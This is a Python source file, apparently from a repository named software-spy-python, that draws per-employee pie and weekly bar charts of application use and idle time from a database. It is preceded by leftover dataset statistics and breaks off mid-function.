print("\n======================\n") | 29 | 39 | 0.362069 | 6 | 58 | 3.333333 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.103448 | 58 | 2 | 39 | 29 | 0.384615 | 0 | 0 | 0 | 0 | 0 | 0.440678 | 0.440678 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 0.5 | 1 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
9d9b3fc3b61f61f263efc9da418490df7ee93613 | 58,252 | py | Python | modulos/grafico.py | lucasrussi/software-spy-python | 2931a9751d3de2a42777181a53dd8301522d01d3 | [
"MIT"
] | null | null | null | modulos/grafico.py | lucasrussi/software-spy-python | 2931a9751d3de2a42777181a53dd8301522d01d3 | [
"MIT"
] | null | null | null | modulos/grafico.py | lucasrussi/software-spy-python | 2931a9751d3de2a42777181a53dd8301522d01d3 | [
"MIT"
] | null | null | null | import matplotlib.pyplot as plt
import numpy as np
import io
#import dos modulos do banco de dados para efetuar a produção dos gráficos.
#grafico_pizza()
from db.banco_user import processingData_Diario1
from db.banco_user import usuario_Diario1
#graficos de barra semanal()
from db.banco_user import processingData_Semanal_1 #dia 1
from db.banco_user import processingData_Semanal_2 #dia 2
from db.banco_user import processingData_Semanal_3 #dia 3
from db.banco_user import processingData_Semanal_4 #dia 4
from db.banco_user import processingData_Semanal_5 #dia 5
from db.banco_user import processingData_Semanal_6 #dia 6
from db.banco_user import processingData_Semanal_7 #dia 7
#graficos de linhas mensal
from db.banco_user import graficoMensal
def grafico_pizza ():
usuario = 0
lista_app = processingData_Diario1(usuario)
lista_usuario = usuario_Diario1(usuario)
try:
nomeApp = []
porcentagem = []
for i in range (0, len(lista_app)):
nomeApp.append(lista_app[i][0])
porcentagem.append(lista_app[i][1])
#código para determinar as cores.
maior = max(porcentagem)
menor = min(porcentagem)
cores = []
for i in range(0,len(nomeApp)):
if nomeApp[i] == 'outro':
cores.append('red')
else:
cores.append('blue')
plt.rcParams['font.size'] = '16'
dia = lista_app[0][5]
dia1 = dia.strftime('%d/%m')
total = sum(porcentagem)
plt.title(f"Nome: {lista_usuario[0][0]} \nCargo: {lista_usuario[0][1]} Data:{dia1}")
except:
plt.title(f"Nome: ---- \nCargo: ---- Data:--/--/----")
total = 100
cores = 'blue'
plt.pie(porcentagem,
labels=nomeApp,
colors=cores,
autopct=lambda p: '{:.0f}%'.format(p*total/100),
shadow=True,
startangle=90,
wedgeprops={"edgecolor":"k",'linewidth': 1, 'linestyle': 'solid', 'antialiased': True})
plt.axis('equal')
grafic = plt.gcf()
plt.close()
return grafic
def grafico_pizza1():
usuario = 1
lista_app = processingData_Diario1(usuario)
lista_usuario = usuario_Diario1(usuario)
try:
nomeApp = []
porcentagem = []
for i in range (0, len(lista_app)):
nomeApp.append(lista_app[i][0])
porcentagem.append(lista_app[i][1])
#código para determinar as cores.
maior = max(porcentagem)
menor = min(porcentagem)
cores = []
for i in range(0,len(nomeApp)):
if nomeApp[i] == 'outro':
cores.append('red')
else:
cores.append('blue')
plt.rcParams['font.size'] = '16'
total = sum(porcentagem)
dia = lista_app[0][5]
dia1 = dia.strftime('%d/%m')
total = sum(porcentagem)
plt.title(f"Nome: {lista_usuario[0][0]} \nCargo: {lista_usuario[0][1]} Data:{dia1}")
except:
plt.title(f"Nome: ---- \nCargo: ---- Data:--/--/----")
total = 100
cores = 'blue'
plt.pie(porcentagem,
labels=nomeApp,
colors=cores,
autopct=lambda p: '{:.0f}%'.format(p*total/100),
shadow=True,
startangle=90,
wedgeprops={"edgecolor":"k",'linewidth': 1, 'linestyle': 'solid', 'antialiased': True})
plt.axis('equal')
grafic = plt.gcf()
plt.close()
return grafic
def grafico_pizza2():
usuario = 2
lista_app = processingData_Diario1(usuario)
lista_usuario = usuario_Diario1(usuario)
try:
nomeApp = []
porcentagem = []
for i in range (0, len(lista_app)):
nomeApp.append(lista_app[i][0])
porcentagem.append(lista_app[i][1])
#código para determinar as cores.
maior = max(porcentagem)
menor = min(porcentagem)
cores = []
for i in range(0,len(nomeApp)):
if nomeApp[i] == 'outro':
cores.append('red')
else:
cores.append('blue')
plt.rcParams['font.size'] = '16'
total = sum(porcentagem)
dia = lista_app[0][5]
dia1 = dia.strftime('%d/%m')
total = sum(porcentagem)
plt.title(f"Nome: {lista_usuario[0][0]} \nCargo: {lista_usuario[0][1]} Data:{dia1}")
except:
plt.title(f"Nome: ---- \nCargo: ---- Data:--/--/----")
total = 100
cores = 'blue'
plt.pie(porcentagem,
labels=nomeApp,
colors=cores,
autopct=lambda p: '{:.0f}%'.format(p*total/100),
shadow=True,
startangle=90,
wedgeprops={"edgecolor":"k",'linewidth': 1, 'linestyle': 'solid', 'antialiased': True})
plt.axis('equal')
grafic = plt.gcf()
return grafic
def grafico_pizza3():
usuario = 3
lista_app = processingData_Diario1(usuario)
lista_usuario = usuario_Diario1(usuario)
try:
nomeApp = []
porcentagem = []
for i in range (0, len(lista_app)):
nomeApp.append(lista_app[i][0])
porcentagem.append(lista_app[i][1])
#código para determinar as cores.
maior = max(porcentagem)
menor = min(porcentagem)
cores = []
for i in range(0,len(nomeApp)):
if nomeApp[i] == 'outro':
cores.append('red')
else:
cores.append('blue')
plt.rcParams['font.size'] = '16'
total = sum(porcentagem)
dia = lista_app[0][5]
dia1 = dia.strftime('%d/%m')
total = sum(porcentagem)
plt.title(f"Nome: {lista_usuario[0][0]} \nCargo: {lista_usuario[0][1]} Data:{dia1}")
except:
plt.title(f"Nome: ---- \nCargo: ---- Data:--/--/----")
total = 100
cores = 'blue'
plt.pie(porcentagem,
labels=nomeApp,
colors=cores,
autopct=lambda p: '{:.0f}%'.format(p*total/100),
shadow=True,
startangle=90,
wedgeprops={"edgecolor":"k",'linewidth': 1, 'linestyle': 'solid', 'antialiased': True})
plt.axis('equal')
grafic = plt.gcf()
plt.close()
return grafic
def grafico_pizza4():
usuario = 4
lista_app = processingData_Diario1(usuario)
lista_usuario = usuario_Diario1(usuario)
try:
nomeApp = []
porcentagem = []
for i in range (0, len(lista_app)):
nomeApp.append(lista_app[i][0])
porcentagem.append(lista_app[i][1])
#código para determinar as cores.
maior = max(porcentagem)
menor = min(porcentagem)
cores = []
for i in range(0,len(nomeApp)):
if nomeApp[i] == 'outro':
cores.append('red')
else:
cores.append('blue')
plt.rcParams['font.size'] = '16'
total = sum(porcentagem)
dia = lista_app[0][5]
dia1 = dia.strftime('%d/%m')
total = sum(porcentagem)
plt.title(f"Nome: {lista_usuario[0][0]} \nCargo: {lista_usuario[0][1]} Data:{dia1}")
except:
plt.title(f"Nome: ---- \nCargo: ---- Data:--/--/----")
total = 100
cores = 'blue'
plt.pie(porcentagem,
labels=nomeApp,
colors=cores,
autopct=lambda p: '{:.0f}%'.format(p*total/100),
shadow=True,
startangle=90,
wedgeprops={"edgecolor":"k",'linewidth': 1, 'linestyle': 'solid', 'antialiased': True})
plt.axis('equal')
grafic = plt.gcf()
plt.close()
return grafic
# geração dos gráficos semanais
def grafico_periodoSemanal1():
usuario = 0
lista_usuario = usuario_Diario1(usuario)
listapp = processingData_Semanal_1(usuario)
listapp1 = processingData_Semanal_2(usuario)
listapp2 = processingData_Semanal_3(usuario)
listapp3 = processingData_Semanal_4(usuario)
listapp4 = processingData_Semanal_5(usuario)
listapp5 = processingData_Semanal_6(usuario)
listapp6 = processingData_Semanal_7(usuario)
#constantes dos dias
if not listapp == None or listapp1 == None or listapp2 == None or listapp3 == None or listapp4 == None or listapp5 == None or listapp6 == None:
#dia 1
try:
horaUtil = listapp[0][2]
horaOcioso = listapp[0][3]
horaTotal = listapp[0][4]
dia = listapp[0][5]
dia1 = dia.strftime('%d/%m')
except:
horaUtil = 0
horaOcioso = 0
horaTotal = 0
dia1 = '-/-/---'
#dia 2
try:
horaUtil1 = listapp1[0][2]
horaOcioso1 = listapp1[0][3]
horaTotal1 = listapp1[0][4]
dia = listapp1[0][5]
dia2 = dia.strftime('%d/%m/')
except:
horaUtil1 = 0
horaOcioso1 = 0
horaTotal1 = 0
dia2 = '-/-/----'
#dia 3
try:
horaUtil2 = listapp2[0][2]
horaOcioso2 = listapp2[0][3]
horaTotal2 = listapp2[0][4]
dia = listapp2[0][5]
dia3 = dia.strftime('%d/%m/')
except:
horaUtil2 = 0
horaOcioso2 = 0
horaTotal2 = 0
dia3 = '-/-/---'
#dia 4
try:
horaUtil3 = listapp3[0][2]
horaOcioso3 = listapp3[0][3]
horaTotal3 = listapp3[0][4]
dia = listapp3[0][5]
dia4 = dia.strftime('%d/%m')
except:
horaUtil3 = 0
horaOcioso3 = 0
horaTotal3 = 0
dia4 = '-/-/---'
#dia 5
try:
horaUtil4 = listapp4[0][2]
horaOcioso4 = listapp4[0][3]
horaTotal4 = listapp4[0][4]
dia = listapp4[0][5]
dia5 = dia.strftime('%d/%m')
except:
horaUtil4 = 0
horaOcioso4 = 0
horaTotal4 = 0
dia5 = '-/-/---'
#dia 6
try:
horaUtil5 = listapp5[0][2]
horaOcioso5 = listapp5[0][3]
horaTotal5 = listapp5[0][4]
dia = listapp5[0][5]
dia6 = dia.strftime('%d/%m')
except:
horaUtil5 = 0
horaOcioso5 = 0
horaTotal5 = 0
dia6 = '-/-/----'
#dia 7
try:
horaUtil6 = listapp6[0][2]
horaOcioso6 = listapp6[0][3]
horaTotal6 = listapp6[0][4]
dia = listapp6[0][5]
dia7 = dia.strftime('%d/%m')
except:
horaUtil6 = 0
horaOcioso6 = 0
horaTotal6 = 0
dia7 = '-/-/---'
#pegando o valor 'outro' de todos os dias
try:
for i in range(0,len(listapp)): #dia 1
if listapp[i][0] == 'outro':
porcentagemOcioso=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp1)): #dia 2
if listapp[i][0] == 'outro':
porcentagemOcioso1=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp2)): #dia 3
if listapp[i][0] == 'outro':
porcentagemOcioso2=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp3)): #dia 4
if listapp[i][0] == 'outro':
porcentagemOcioso3=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp4)): #dia 5
if listapp[i][0] == 'outro':
porcentagemOcioso4=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp5)): #dia 6
if listapp[i][0] == 'outro':
porcentagemOcioso5=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp6)): #dia 7
if listapp[i][0] == 'outro':
porcentagemOcioso6=(listapp[i][1])
except:
None
#Calculo das porcentagens e horas para cada dia
#Dia 1
try:
porcentagemUtil = 100 - porcentagemOcioso
horaUtilGrafic = round((horaUtil*porcentagemUtil)/100,2) #cor Azul
horaOutroGrafic = round((horaUtil-horaUtilGrafic),2) #cor vermelha
except:
porcentagemUtil = 0
horaUtilGrafic = 0
horaOutroGrafic = 0
#Dia 2
try:
porcentagemUtil1 = 100 - porcentagemOcioso1
horaUtilGrafic1 = round((horaUtil1*porcentagemUtil1)/100,2) #cor Azul
horaOutroGrafic1 = round((horaUtil1-horaUtilGrafic1),2) #cor vermelha
except:
porcentagemUtil1 = 0
horaUtilGrafic1 = 0
horaOutroGrafic1 = 0
#Dia 3
try:
porcentagemUtil2 = 100 - porcentagemOcioso2
horaUtilGrafic2 = round((horaUtil2*porcentagemUtil2)/100,2) #cor Azul
horaOutroGrafic2 = round((horaUtil2-horaUtilGrafic2),2) #cor vermelha
except:
porcentagemUtil2 = 0
horaUtilGrafic2 = 0
horaOutroGrafic2 = 0
#Dia 4
try:
porcentagemUtil3 = 100 - porcentagemOcioso3
horaUtilGrafic3 = round((horaUtil3*porcentagemUtil3)/100,2) #cor Azul
horaOutroGrafic3 = round((horaUtil3-horaUtilGrafic3),2) #cor vermelha
except:
porcentagemUtil3 = 0
horaUtilGrafic3 = 0
horaOutroGrafic3 = 0
#Dia 5
try:
porcentagemUtil4 = 100 - porcentagemOcioso4
horaUtilGrafic4 = round((horaUtil4*porcentagemUtil4)/100,2) #cor Azul
horaOutroGrafic4 = round((horaUtil4-horaUtilGrafic4),2) #cor vermelha
except:
porcentagemUtil4 = 0
horaUtilGrafic4 = 0
horaOutroGrafic4 = 0
#Dia 6
try:
porcentagemUtil5 = 100 - porcentagemOcioso5
horaUtilGrafic5 = round((horaUtil5*porcentagemUtil5)/100,2) #cor Azul
horaOutroGrafic5 = round((horaUtil5-horaUtilGrafic5),2) #cor vermelha
except:
porcentagemUtil5= 0
horaUtilGrafic5 = 0
horaOutroGrafic5 = 0
#Dia 7
try:
porcentagemUtil6 = 100 - porcentagemOcioso6
horaUtilGrafic6 = round((horaUtil6*porcentagemUtil6)/100,2) #cor Azul
horaOutroGrafic6 = round((horaUtil6-horaUtilGrafic6),2) #cor vermelha
except:
porcentagemUtil6 = 0
horaUtilGrafic6 = 0
horaOutroGrafic6 = 0
#concatenando os dados obtidos até o momendo para a formação de uma list para efetuação do gráfico
arrayUtil = []
arrayOutro = []
arrayOcioso = []
arrayDia = []
arrayUtil.extend((horaUtilGrafic,horaUtilGrafic1,horaUtilGrafic2,horaUtilGrafic3,horaUtilGrafic4,horaUtilGrafic5,horaUtilGrafic6))
arrayOutro.extend((horaOutroGrafic,horaOutroGrafic1,horaOutroGrafic2,horaOutroGrafic3,horaOutroGrafic4,horaOutroGrafic5,horaOutroGrafic6))
arrayOcioso.extend((horaOcioso,horaOcioso1,horaOcioso2,horaOcioso3,horaOcioso4,horaOcioso5,horaOcioso6))
arrayDia.extend((dia1,dia2,dia3,dia4,dia5,dia6,dia7))
print(f"arraDia: {arrayDia}")
#variaveis np para formação dos gráficos
Util = np.array(arrayUtil)
Outro = np.array(arrayOutro)
Ocioso = np.array(arrayOcioso)
Dia = np.array(arrayDia)
#configuração das variáveis np para efetuação dos gráficos
plt.figure(figsize=(12,5))
plt.bar(Dia,Util,color='blue')
plt.bar(Dia,Outro,color='yellow',bottom=Util)
plt.bar(Dia,Ocioso,color='red', bottom=Util+Outro)
#Adicionando legenda as barras
plt.xlabel('Dias')
plt.ylabel('Horas')
try:
plt.title(f"Rendimendo semanal\nNome: {lista_usuario[0][0]} Cargo: {lista_usuario[0][1]}")
except:
plt.title("Rendimento semanal\nNome: ---- Cargo: ----")
plt.legend(('Apps relevantes','Apps NÃO relevantes','tempo ocioso'))
grafic = plt.gcf()
plt.close()
return grafic
else:
None
def grafico_periodoSemanal2():
usuario = 1
lista_usuario = usuario_Diario1(usuario)
listapp = processingData_Semanal_1(usuario)
listapp1 = processingData_Semanal_2(usuario)
listapp2 = processingData_Semanal_3(usuario)
listapp3 = processingData_Semanal_4(usuario)
listapp4 = processingData_Semanal_5(usuario)
listapp5 = processingData_Semanal_6(usuario)
listapp6 = processingData_Semanal_7(usuario)
#constantes dos dias
if not listapp == None or listapp1 == None or listapp2 == None or listapp3 == None or listapp4 == None or listapp5 == None or listapp6 == None:
#dia 1
try:
horaUtil = listapp[0][2]
horaOcioso = listapp[0][3]
horaTotal = listapp[0][4]
dia = listapp[0][5]
dia1 = dia.strftime('%d/%m')
except:
horaUtil = 0
horaOcioso = 0
horaTotal = 0
dia1 = '-/-/---'
#dia 2
try:
horaUtil1 = listapp1[0][2]
horaOcioso1 = listapp1[0][3]
horaTotal1 = listapp1[0][4]
dia = listapp1[0][5]
dia2 = dia.strftime('%d/%m')
except:
horaUtil1 = 0
horaOcioso1 = 0
horaTotal1 = 0
dia2 = '-/-/----'
#dia 3
try:
horaUtil2 = listapp2[0][2]
horaOcioso2 = listapp2[0][3]
horaTotal2 = listapp2[0][4]
dia = listapp2[0][5]
dia3 = dia.strftime('%d/%m')
except:
horaUtil2 = 0
horaOcioso2 = 0
horaTotal2 = 0
dia3 = '-/-/---'
#dia 4
try:
horaUtil3 = listapp3[0][2]
horaOcioso3 = listapp3[0][3]
horaTotal3 = listapp3[0][4]
dia = listapp3[0][5]
dia4 = dia.strftime('%d/%m')
except:
horaUtil3 = 0
horaOcioso3 = 0
horaTotal3 = 0
dia4 = '-/-/----'
#dia 5
try:
horaUtil4 = listapp4[0][2]
horaOcioso4 = listapp4[0][3]
horaTotal4 = listapp4[0][4]
dia = listapp4[0][5]
dia5 = dia.strftime('%d/%m')
except:
horaUtil4 = 0
horaOcioso4 = 0
horaTotal4 = 0
dia5 = '-/-/---'
#dia 6
try:
horaUtil5 = listapp5[0][2]
horaOcioso5 = listapp5[0][3]
horaTotal5 = listapp5[0][4]
dia = listapp5[0][5]
dia6 = dia.strftime('%d/%m')
except:
horaUtil5 = 0
horaOcioso5 = 0
horaTotal5 = 0
dia6 = '-/-/----'
#dia 7
try:
horaUtil6 = listapp6[0][2]
horaOcioso6 = listapp6[0][3]
horaTotal6 = listapp6[0][4]
dia = listapp6[0][5]
dia7 = dia.strftime('%d/%m')
except:
horaUtil6 = 0
horaOcioso6 = 0
horaTotal6 = 0
dia7 = '-/-/---'
#pegando o valor 'outro' de todos os dias
try:
for i in range(0,len(listapp)): #dia 1
if listapp[i][0] == 'outro':
porcentagemOcioso=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp1)): #dia 2
if listapp[i][0] == 'outro':
porcentagemOcioso1=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp2)): #dia 3
if listapp[i][0] == 'outro':
porcentagemOcioso2=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp3)): #dia 4
if listapp[i][0] == 'outro':
porcentagemOcioso3=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp4)): #dia 5
if listapp[i][0] == 'outro':
porcentagemOcioso4=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp5)): #dia 6
if listapp[i][0] == 'outro':
porcentagemOcioso5=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp6)): #dia 7
if listapp[i][0] == 'outro':
porcentagemOcioso6=(listapp[i][1])
except:
None
#Calculo das porcentagens e horas para cada dia
#Dia 1
try:
porcentagemUtil = 100 - porcentagemOcioso
horaUtilGrafic = round((horaUtil*porcentagemUtil)/100,2) #cor Azul
horaOutroGrafic = round((horaUtil-horaUtilGrafic),2) #cor vermelha
except:
porcentagemUtil = 0
horaUtilGrafic = 0
horaOutroGrafic = 0
#Dia 2
try:
porcentagemUtil1 = 100 - porcentagemOcioso1
horaUtilGrafic1 = round((horaUtil1*porcentagemUtil1)/100,2) #cor Azul
horaOutroGrafic1 = round((horaUtil1-horaUtilGrafic1),2) #cor vermelha
except:
porcentagemUtil1 = 0
horaUtilGrafic1 = 0
horaOutroGrafic1 = 0
#Dia 3
try:
porcentagemUtil2 = 100 - porcentagemOcioso2
horaUtilGrafic2 = round((horaUtil2*porcentagemUtil2)/100,2) #cor Azul
horaOutroGrafic2 = round((horaUtil2-horaUtilGrafic2),2) #cor vermelha
except:
porcentagemUtil2 = 0
horaUtilGrafic2 = 0
horaOutroGrafic2 = 0
#Dia 4
try:
porcentagemUtil3 = 100 - porcentagemOcioso3
horaUtilGrafic3 = round((horaUtil3*porcentagemUtil3)/100,2) #cor Azul
horaOutroGrafic3 = round((horaUtil3-horaUtilGrafic3),2) #cor vermelha
except:
porcentagemUtil3 = 0
horaUtilGrafic3 = 0
horaOutroGrafic3 = 0
#Dia 5
try:
porcentagemUtil4 = 100 - porcentagemOcioso4
horaUtilGrafic4 = round((horaUtil4*porcentagemUtil4)/100,2) #cor Azul
horaOutroGrafic4 = round((horaUtil4-horaUtilGrafic4),2) #cor vermelha
except:
porcentagemUtil4 = 0
horaUtilGrafic4 = 0
horaOutroGrafic4 = 0
#Dia 6
try:
porcentagemUtil5 = 100 - porcentagemOcioso5
horaUtilGrafic5 = round((horaUtil5*porcentagemUtil5)/100,2) #cor Azul
horaOutroGrafic5 = round((horaUtil5-horaUtilGrafic5),2) #cor vermelha
except:
porcentagemUtil5= 0
horaUtilGrafic5 = 0
horaOutroGrafic5 = 0
#Dia 7
try:
porcentagemUtil6 = 100 - porcentagemOcioso6
horaUtilGrafic6 = round((horaUtil6*porcentagemUtil6)/100,2) #cor Azul
horaOutroGrafic6 = round((horaUtil6-horaUtilGrafic6),2) #cor vermelha
except:
porcentagemUtil6 = 0
horaUtilGrafic6 = 0
horaOutroGrafic6 = 0
#concatenando os dados obtidos até o momendo para a formação de uma list para efetuação do gráfico
arrayUtil = []
arrayOutro = []
arrayOcioso = []
arrayDia = []
arrayUtil.extend((horaUtilGrafic,horaUtilGrafic1,horaUtilGrafic2,horaUtilGrafic3,horaUtilGrafic4,horaUtilGrafic5,horaUtilGrafic6))
arrayOutro.extend((horaOutroGrafic,horaOutroGrafic1,horaOutroGrafic2,horaOutroGrafic3,horaOutroGrafic4,horaOutroGrafic5,horaOutroGrafic6))
arrayOcioso.extend((horaOcioso,horaOcioso1,horaOcioso2,horaOcioso3,horaOcioso4,horaOcioso5,horaOcioso6))
arrayDia.extend((dia1,dia2,dia3,dia4,dia5,dia6,dia7))
#variaveis np para formação dos gráficos
Util = np.array(arrayUtil)
Outro = np.array(arrayOutro)
Ocioso = np.array(arrayOcioso)
Dia = np.array(arrayDia)
#configuração das variáveis np para efetuação dos gráficos
plt.figure(figsize=(12,5))
plt.bar(Dia,Util,color='blue')
plt.bar(Dia,Outro,color='yellow',bottom=Util)
plt.bar(Dia,Ocioso,color='red', bottom=Util+Outro)
#Adicionando legenda as barras
plt.xlabel('Dias')
plt.ylabel('Horas')
try:
plt.title(f"Rendimendo semanal\nNome: {lista_usuario[0][0]} Cargo: {lista_usuario[0][1]}")
except:
plt.title("Rendimento semanal\nNome: ---- Cargo: ----")
grafic = plt.gcf()
plt.close()
return grafic
else:
None
def grafico_periodoSemanal3():
usuario = 2
lista_usuario = usuario_Diario1(usuario)
listapp = processingData_Semanal_1(usuario)
listapp1 = processingData_Semanal_2(usuario)
listapp2 = processingData_Semanal_3(usuario)
listapp3 = processingData_Semanal_4(usuario)
listapp4 = processingData_Semanal_5(usuario)
listapp5 = processingData_Semanal_6(usuario)
listapp6 = processingData_Semanal_7(usuario)
#constantes dos dias
if not listapp == None and listapp1 == None and listapp2 == None and listapp3 == None and listapp4 == None and listapp5 == None and listapp6 == None:
#dia 1
try:
horaUtil = listapp[0][2]
horaOcioso = listapp[0][3]
horaTotal = listapp[0][4]
dia = listapp[0][5]
dia1 = dia.strftime('%d/%m/%Y')
except:
horaUtil = 0
horaOcioso = 0
horaTotal = 0
dia1 = '-/-/----'
#dia 2
try:
horaUtil1 = listapp1[0][2]
horaOcioso1 = listapp1[0][3]
horaTotal1 = listapp1[0][4]
dia = listapp1[0][5]
dia2 = dia.strftime('%d/%m/%Y')
except:
horaUtil1 = 0
horaOcioso1 = 0
horaTotal1 = 0
dia2 = '-/-/----'
#dia 3
try:
horaUtil2 = listapp2[0][2]
horaOcioso2 = listapp2[0][3]
horaTotal2 = listapp2[0][4]
dia = listapp2[0][5]
dia3 = dia.strftime('%d/%m/%Y')
except:
horaUtil2 = 0
horaOcioso2 = 0
horaTotal2 = 0
dia3 = '-/-/----'
#dia 4
try:
horaUtil3 = listapp3[0][2]
horaOcioso3 = listapp3[0][3]
horaTotal3 = listapp3[0][4]
dia = listapp3[0][5]
dia4 = dia.strftime('%d/%m/%Y')
except:
horaUtil3 = 0
horaOcioso3 = 0
horaTotal3 = 0
dia4 = '-/-/----'
#dia 5
try:
horaUtil4 = listapp4[0][2]
horaOcioso4 = listapp4[0][3]
horaTotal4 = listapp4[0][4]
dia = listapp4[0][5]
dia5 = dia.strftime('%d/%m/%Y')
except:
horaUtil4 = 0
horaOcioso4 = 0
horaTotal4 = 0
dia5 = '-/-/----'
#dia 6
try:
horaUtil5 = listapp5[0][2]
horaOcioso5 = listapp5[0][3]
horaTotal5 = listapp5[0][4]
dia = listapp5[0][5]
dia6 = dia.strftime('%d/%m/%Y')
except:
horaUtil5 = 0
horaOcioso5 = 0
horaTotal5 = 0
dia6 = '-/-/----'
#dia 7
try:
horaUtil6 = listapp6[0][2]
horaOcioso6 = listapp6[0][3]
horaTotal6 = listapp6[0][4]
dia = listapp6[0][5]
dia7 = dia.strftime('%d/%m/%Y')
except:
horaUtil6 = 0
horaOcioso6 = 0
horaTotal6 = 0
dia7 = '-/-/----'
#pegando o valor 'outro' de todos os dias
try:
for i in range(0,len(listapp)): #dia 1
if listapp[i][0] == 'outro':
porcentagemOcioso=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp1)): #dia 2
if listapp[i][0] == 'outro':
porcentagemOcioso1=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp2)): #dia 3
if listapp[i][0] == 'outro':
porcentagemOcioso2=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp3)): #dia 4
if listapp[i][0] == 'outro':
porcentagemOcioso3=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp4)): #dia 5
if listapp[i][0] == 'outro':
porcentagemOcioso4=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp5)): #dia 6
if listapp[i][0] == 'outro':
porcentagemOcioso5=(listapp[i][1])
except:
None
try:
for i in range(0,len(listapp6)): #dia 7
if listapp[i][0] == 'outro':
porcentagemOcioso6=(listapp[i][1])
except:
None
#Calculo das porcentagens e horas para cada dia
#Dia 1
try:
porcentagemUtil = 100 - porcentagemOcioso
horaUtilGrafic = round((horaUtil*porcentagemUtil)/100,2) #cor Azul
horaOutroGrafic = round((horaUtil-horaUtilGrafic),2) #cor vermelha
except:
porcentagemUtil = 0
horaUtilGrafic = 0
horaOutroGrafic = 0
#Dia 2
try:
porcentagemUtil1 = 100 - porcentagemOcioso1
horaUtilGrafic1 = round((horaUtil1*porcentagemUtil1)/100,2) #cor Azul
horaOutroGrafic1 = round((horaUtil1-horaUtilGrafic1),2) #cor vermelha
except:
porcentagemUtil1 = 0
horaUtilGrafic1 = 0
horaOutroGrafic1 = 0
#Dia 3
try:
porcentagemUtil2 = 100 - porcentagemOcioso2
horaUtilGrafic2 = round((horaUtil2*porcentagemUtil2)/100,2) #cor Azul
horaOutroGrafic2 = round((horaUtil2-horaUtilGrafic2),2) #cor vermelha
except:
porcentagemUtil2 = 0
horaUtilGrafic2 = 0
horaOutroGrafic2 = 0
#Dia 4
try:
porcentagemUtil3 = 100 - porcentagemOcioso3
horaUtilGrafic3 = round((horaUtil3*porcentagemUtil3)/100,2) #cor Azul
horaOutroGrafic3 = round((horaUtil3-horaUtilGrafic3),2) #cor vermelha
except:
porcentagemUtil3 = 0
horaUtilGrafic3 = 0
horaOutroGrafic3 = 0
#Dia 5
try:
porcentagemUtil4 = 100 - porcentagemOcioso4
horaUtilGrafic4 = round((horaUtil4*porcentagemUtil4)/100,2) #cor Azul
horaOutroGrafic4 = round((horaUtil4-horaUtilGrafic4),2) #cor vermelha
except:
porcentagemUtil4 = 0
horaUtilGrafic4 = 0
horaOutroGrafic4 = 0
#Dia 6
try:
porcentagemUtil5 = 100 - porcentagemOcioso5
horaUtilGrafic5 = round((horaUtil5*porcentagemUtil5)/100,2) #cor Azul
horaOutroGrafic5 = round((horaUtil5-horaUtilGrafic5),2) #cor vermelha
except:
porcentagemUtil5= 0
horaUtilGrafic5 = 0
horaOutroGrafic5 = 0
#Dia 7
try:
porcentagemUtil6 = 100 - porcentagemOcioso6
horaUtilGrafic6 = round((horaUtil6*porcentagemUtil6)/100,2) #cor Azul
horaOutroGrafic6 = round((horaUtil6-horaUtilGrafic6),2) #cor vermelha
except:
porcentagemUtil6 = 0
horaUtilGrafic6 = 0
horaOutroGrafic6 = 0
#concatenando os dados obtidos até o momendo para a formação de uma list para efetuação do gráfico
arrayUtil = []
arrayOutro = []
arrayOcioso = []
arrayDia = []
arrayUtil.extend((horaUtilGrafic,horaUtilGrafic1,horaUtilGrafic2,horaUtilGrafic3,horaUtilGrafic4,horaUtilGrafic5,horaUtilGrafic6))
arrayOutro.extend((horaOutroGrafic,horaOutroGrafic1,horaOutroGrafic2,horaOutroGrafic3,horaOutroGrafic4,horaOutroGrafic5,horaOutroGrafic6))
arrayOcioso.extend((horaOcioso,horaOcioso1,horaOcioso2,horaOcioso3,horaOcioso4,horaOcioso5,horaOcioso6))
arrayDia.extend((dia1,dia2,dia3,dia4,dia5,dia6,dia7))
print(f"arraDia: {arrayDia}")
#variaveis np para formação dos gráficos
Util = np.array(arrayUtil)
Outro = np.array(arrayOutro)
Ocioso = np.array(arrayOcioso)
Dia = np.array(arrayDia)
#configuração das variáveis np para efetuação dos gráficos
plt.figure(figsize=(12,5))
plt.bar(Dia,Util,color='blue')
plt.bar(Dia,Outro,color='yellow',bottom=Util)
plt.bar(Dia,Ocioso,color='red', bottom=Util+Outro)
#Adicionando legenda as barras
plt.xlabel('Dias')
plt.ylabel('Horas')
try:
plt.title(f"Rendimendo semanal\nNome: {lista_usuario[0][0]} Cargo: {lista_usuario[0][1]}")
except:
plt.title("Rendimento semanal\nNome: ---- Cargo: ----")
plt.legend(('Apps relevantes','Apps NÂO relevantes','tempo ocioso'))
grafic = plt.gcf()
plt.close()
return grafic
else:
None
def grafico_periodoSemanal4():
usuario = 3
lista_usuario = usuario_Diario1(usuario)
listapp = processingData_Semanal_1(usuario)
listapp1 = processingData_Semanal_2(usuario)
listapp2 = processingData_Semanal_3(usuario)
listapp3 = processingData_Semanal_4(usuario)
listapp4 = processingData_Semanal_5(usuario)
listapp5 = processingData_Semanal_6(usuario)
listapp6 = processingData_Semanal_7(usuario)
#constantes dos dias
if not listapp == None and listapp1 == None and listapp2 == None and listapp3 == None and listapp4 == None and listapp5 == None and listapp6 == None:
#dia 1
try:
horaUtil = listapp[0][2]
